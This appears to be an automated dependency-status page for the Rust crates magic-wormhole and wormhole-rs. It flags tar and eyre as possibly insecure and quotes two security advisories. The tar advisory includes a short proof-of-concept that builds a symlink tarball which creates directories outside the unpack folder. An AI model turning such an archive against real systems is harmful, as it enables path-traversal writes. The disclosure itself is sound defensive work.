This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate magic-wormhole

Dependencies

(27 total, 1 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 serde^1.0.1201.0.198up to date
 serde_json^1.0.611.0.116up to date
 serde_derive^1.0.1201.0.198up to date
 crypto_secretbox^0.1.10.1.1up to date
 spake2^0.4.00.4.0up to date
 sha-1^0.10.00.10.1up to date
 sha2^0.10.00.10.8up to date
 hkdf^0.12.20.12.4up to date
 hex^0.4.20.4.3up to date
 rand^0.8.00.8.5up to date
 log^0.4.130.4.21up to date
 base64^0.21.00.22.0out of date
 futures_ringbuf^0.4.00.4.0up to date
 time^0.3.70.3.36up to date
 instant^0.1.120.1.12up to date
 derive_more^0.99.00.99.17up to date
 thiserror^1.0.241.0.59up to date
 futures^0.3.120.3.30up to date
 url^2.2.22.5.0up to date
 percent-encoding^2.1.02.3.1up to date
 stun_codec^0.3.00.3.5up to date
 bytecodec^0.4.150.4.15up to date
 noise-rust-crypto^0.6.0-rc.10.6.2up to date
 async-trait^0.1.570.1.80up to date
 noise-protocol^0.20.2.0up to date
 rmp-serde^1.0.01.2.0up to date
 tar ⚠️^0.4.330.4.40maybe insecure

Dev dependencies

(2 total, 1 possibly insecure)

CrateRequiredLatestStatus
 env_logger^0.110.11.3up to date
 eyre ⚠️^0.6.50.6.12maybe insecure

Crate wormhole-rs

Dependencies

(19 total, 2 outdated)

CrateRequiredLatestStatus
 serde^1.0.1201.0.198up to date
 serde_json^1.0.611.0.116up to date
 serde_derive^1.0.1201.0.198up to date
 log^0.4.130.4.21up to date
 url^2.2.22.5.0up to date
 futures^0.3.120.3.30up to date
 async-std^1.12.01.12.0up to date
 rand^0.8.30.8.5up to date
 clap^3.1.54.5.4out of date
 clap_complete^3.1.44.5.2out of date
 env_logger^0.110.11.3up to date
 console^0.15.00.15.8up to date
 indicatif^0.17.00.17.8up to date
 dialoguer^0.110.11.0up to date
 color-eyre^0.6.00.6.3up to date
 number_prefix^0.4.00.4.0up to date
 ctrlc^3.2.13.4.4up to date
 qr2term^0.3.00.3.1up to date
 arboard^3.2.03.3.2up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

eyre: Parts of Report are dropped as the wrong type during downcast

RUSTSEC-2024-0021

In affected versions, after a Report is constructed using wrap_err or wrap_err_with to attach a message of type D onto an error of type E, then using downcast to recover ownership of either the value of type D or the value of type E, one of two things can go wrong:

  • If downcasting to E, there remains a value of type D to be dropped. It is incorrectly "dropped" by running E's drop behavior, rather than D's. For example if D is &str and E is std::io::Error, there would be a call of std::io::Error::drop in which the reference received by the Drop impl does not refer to a valid value of type std::io::Error, but instead to &str.

  • If downcasting to D, there remains a value of type E to be dropped. When D and E do not happen to be the same size, E's drop behavior is incorrectly executed in the wrong location. The reference received by the Drop impl may point left or right of the real E value that is meant to be getting dropped.

In both cases, when the Report contains an error E that has nontrivial drop behavior, the most likely outcome is memory corruption.

When the Report contains an error E that has trivial drop behavior (for example a Utf8Error) but where D has nontrivial drop behavior (such as String), the most likely outcome is that downcasting to E would leak D.